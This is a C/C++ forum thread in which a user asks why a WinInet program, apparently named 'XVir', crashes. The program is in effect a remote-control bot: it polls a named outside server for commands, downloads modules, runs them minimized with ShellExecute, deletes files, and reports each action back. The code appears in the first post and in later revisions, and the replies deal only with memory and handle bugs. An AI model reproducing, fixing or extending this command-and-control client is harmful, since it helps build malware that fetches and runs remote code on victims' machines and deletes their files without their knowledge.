Thread: HttpSendRequest crashes program

  1. #1
    Registered User
    Join Date
    Sep 2007
    Posts
    18

    HttpSendRequest crashes program

    Im making a program using wininet that connects to a website and follows commands on the server. But it keeps crashing.

    This code is used in WM_CREATE

    Code:
    hInternet = InternetOpen("XVir 0.02", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
                 if(!hInternet)Append(hEdit, "Error: hInternet\r\n");
                 http = InternetConnect(hInternet, "logonlive.medianewsonline.com", INTERNET_DEFAULT_HTTP_PORT,
                                                   NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
                 if(!http)Append(hEdit, "Error: http\r\n");
    Code:
    LPCSTR Check()
    {
         LPCSTR buff;
         LPCSTR other;
         DWORD count;
         DWORD countr;
         HINTERNET hRequest;
         hRequest = HttpOpenRequest(http, "GET", "/xvir/command.php", NULL, NULL, NULL,
                                              INTERNET_FLAG_RELOAD, 0);
         if(HttpSendRequest(hRequest, NULL, 0, NULL, 0) == FALSE)
         {
            Append(hEdit, "Damnit.");
         } //line fails on 3rd DEL ???
         InternetQueryDataAvailable(hRequest, &count, 0, 0);
         buff = new char[count];
         InternetReadFile(hRequest, (LPVOID)buff, count, &countr);
         return buff;
    }
    
    bool Interpret(LPCSTR buff)
    {
         bool ret = false;
         char* command = (char*)malloc(3);
         char* arg;
         Append(hEdit, (char*)buff); Append(hEdit, "\r\n");
         strncpy(command, buff,3);
         if(strcmp(command,"LLL") != 0)
         {
         Append(hEdit, command); Append(hEdit, "\r\n");
         arg = (char*)malloc(strlen(buff)-4);
         strncpy(arg, buff+4, strlen(buff)-4);
         Append(hEdit, arg); Append(hEdit, "\r\n\r\n");
         }
         
         if(strcmp(command,"MOD") == 0)
         {
            HINTERNET hReq;
            char*    b;
            DWORD count, countr, total;
            hReq = HttpOpenRequest(http, "GET", strcatr("/xvir/modsize.php?mod=",arg),NULL,NULL,NULL,
                                             INTERNET_FLAG_RELOAD, 0);
            HttpSendRequest(hReq, NULL, 0, NULL, 0);
            InternetQueryDataAvailable(hReq, &count, 0, 0);
            char* buff = (char*)malloc(count);
            InternetReadFile(hReq, (LPVOID)buff, count, &countr);
            Append(hEdit, buff); Append(hEdit, "\r\n\r\n");
            int modlen = atoi(buff);
            hReq = HttpOpenRequest(http, "GET", strcatr("/xvir/module.php?mod=",arg),NULL,NULL,NULL,
                                             INTERNET_FLAG_RELOAD, 0);
            HttpSendRequest(hReq, NULL, 0, NULL, 0);
            char* module = (char*)malloc(modlen);
            countr = 1;
            total = 0;
            while(countr > 0 && total < modlen)
            {
                  b = (char*)malloc(modlen+1);
                  InternetReadFile(hReq, (LPVOID)b, modlen, &countr);
                  memcpy(module+total, b, strlen(b));
                  total += countr;
            } 
            Append(hEdit, module);Append(hEdit,"\r\n\r\n");
            FILE *modf;
            modf = fopen(arg, "wb");
            fprintf(modf, module);
            fclose(modf);
            hReq = HttpOpenRequest(http, "GET", strcatr(strcatr("/xvir/didcommand.php?com=",command),
                         strcatr("&arg=",arg)),NULL,NULL,NULL,INTERNET_FLAG_RELOAD, 0);
            HttpSendRequest(hReq,NULL,0,NULL,0);
            free(b);
         }     
         else if(strcmp(command,"DEL") == 0)
         {
              HINTERNET hReq;
              DeleteFile(arg);
              hReq = HttpOpenRequest(http, "GET", strcatr(strcatr("/xvir/didcommand.php?com=",command),
                         strcatr("&arg=",arg)),NULL,NULL,NULL,INTERNET_FLAG_RELOAD, 0);
              HttpSendRequest(hReq,NULL,0,NULL,0);
         }
         else if(strcmp(command,"RUN") == 0)
         {
              HINTERNET hReq;
              ShellExecute(NULL, "open", arg, "", NULL, SW_SHOWMINNOACTIVE);
              hReq = HttpOpenRequest(http, "GET", strcatr(strcatr("/xvir/didcommand.php?com=",command),
                         strcatr("&arg=",arg)),NULL,NULL,NULL,INTERNET_FLAG_RELOAD, 0);
              HttpSendRequest(hReq,NULL,0,NULL,0);
         }
         else if(strcmp(command,"LLL") == 0)
         {
              Append(hEdit, "No Commands");Append(hEdit, "\r\n\r\n");
         }
         free(command);
         free(arg);
         return ret;
    }
    Append appends text to an edit control.

    I call Interpret(Check()) when a menu is clicked.

    Im sending the commands

    MOD mod.txt

    RUN mod.txt

    DEL mod.txt

    On the third command, the program freezes and then crashes. Any ideas what could be causing it?

  2. #2
    Guest Sebastiani's Avatar
    Join Date
    Aug 2001
    Location
    Waterloo, Texas
    Posts
    5,708
    First of all, don't mix calls of 'new' with 'malloc'. At any rate, you need to allocate at least an extra byte for your character arrays (consider using std::vector, instead) for the null terminator, ie:

    Code:
    int
          length = strlen( buffer );
    char* 
          copy = new char[ length + 1 ];
    copy[ length ] = 0;
    strncpy( copy, buffer, length );
    // stuff
    delete [ ] copy;
    Note that in the above example, 'strncpy' actually terminates the array for you, but you should get in the habit of doing it, anyway.
    Last edited by Sebastiani; 10-11-2008 at 09:06 PM. Reason: code tags
    Code:
    #include <cmath>
    #include <complex>
    bool euler_flip(bool value)
    {
        return std::pow
        (
            std::complex<float>(std::exp(1.0)), 
            std::complex<float>(0, 1) 
            * std::complex<float>(std::atan(1.0)
            *(1 << (value + 2)))
        ).real() < 0;
    }

  3. #3
    Registered User
    Join Date
    Sep 2007
    Posts
    18
    Ok I changed my check function like this

    Code:
    int Check()
    {
         char* buff;
         DWORD count;
         DWORD countr;
         HINTERNET hRequest;
         Append(hEdit, "1");
         hRequest = HttpOpenRequest(http, "GET", "/xvir/command.php", NULL, NULL, NULL,
                                              INTERNET_FLAG_RELOAD, 0);
         Append(hEdit, "2");
         HttpSendRequest(hRequest, NULL, 0, NULL, 0);
         Append(hEdit, "3");
         InternetQueryDataAvailable(hRequest, &count, 0, 0);
         Append(hEdit, "4");
         buff = (char*)malloc(count + 1);
         buff[count] = 0;
         Append(hEdit, "5");
         InternetReadFile(hRequest, (LPVOID)buff, count, &countr);
         Append(hEdit, "6");
         Interpret(buff);
         Append(hEdit, "7");
         free(buff);
         Append(hEdit, "8");
         return 0;
    }
    but i still have the same problem
    it seems to be httpsendrequest because before it crashes, it only gets to 2

  4. #4
    Banned master5001's Avatar
    Join Date
    Aug 2001
    Location
    Visalia, CA, USA
    Posts
    3,685
    Check what it returns. Possibly call GetLastError()...

  5. #5
    Registered User
    Join Date
    Sep 2007
    Posts
    18
    I have tried that. It doesn't seem to return before the program crashes. The program freezes for a while then windows gives that popup "Project1.exe has encountered a problem..."

  6. #6
    and the hat of int overfl Salem's Avatar
    Join Date
    Aug 2001
    Location
    The edge of the known universe
    Posts
    39,659
    Is that the whole program?

    Because if there are other areas which call (and abuse) malloc which you haven't posted, then we could all be looking in the wrong place.

    Try in a simple test program. One where it calls the above function, it crashes AND is a complete program we can try.
    If you dance barefoot on the broken glass of undefined behaviour, you've got to expect the occasional cut.
    If at first you don't succeed, try writing your phone number on the exam paper.

  7. #7
    Registered User
    Join Date
    Sep 2007
    Posts
    18
    Code:
    void Append(HWND hedit, char *str)
    {
         int len = GetWindowTextLength(hedit);
         SendMessage(hedit, EM_SETSEL, len, len);
         SendMessage(hedit, EM_REPLACESEL, 0, (LPARAM)str);
         SendMessage(hedit, EM_SCROLLCARET, 0, 0);
    }
    
    char* strcatr(char* str, char* cat)
    {
         char* strret = (char*)malloc(strlen(str)+strlen(cat)+1);
         strcpy(strret,str);
         strcpy(strret+strlen(str),cat);
         return strret;
    }
    The rest of the code just sets up a window and puts an edit control in it. Nothing like mallocs.

  8. #8
    and the hat of int overfl Salem's Avatar
    Join Date
    Aug 2001
    Location
    The edge of the known universe
    Posts
    39,659
    Funny, I could have sworn I asked for a simple program calling HttpOpenRequest(), which crashes.

    Not a description of your laundry basket.
    If you dance barefoot on the broken glass of undefined behaviour, you've got to expect the occasional cut.
    If at first you don't succeed, try writing your phone number on the exam paper.

  9. #9
    Registered User
    Join Date
    Dec 2007
    Posts
    2,675
    Any particular reason you're not checking the return value of HttpOpenRequest() before you attempt to use the returned handle with HttpSendRequest()?

    Also, I notice you're not closing the handle with InternetCloseHandle() when you're done either, so there could be a resource leak.

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Simple login program - Crashes :(
    By spadez in forum C Programming
    Replies: 1
    Last Post: 03-23-2009, 04:16 PM
  2. Replies: 3
    Last Post: 02-29-2008, 01:29 PM
  3. Dikumud
    By maxorator in forum C++ Programming
    Replies: 1
    Last Post: 10-01-2005, 06:39 AM
  4. program crashes on closure.
    By ssjnamek in forum C++ Programming
    Replies: 7
    Last Post: 09-26-2005, 04:55 PM
  5. My program crashes with this code
    By blackwyvern in forum C++ Programming
    Replies: 3
    Last Post: 01-28-2002, 12:28 AM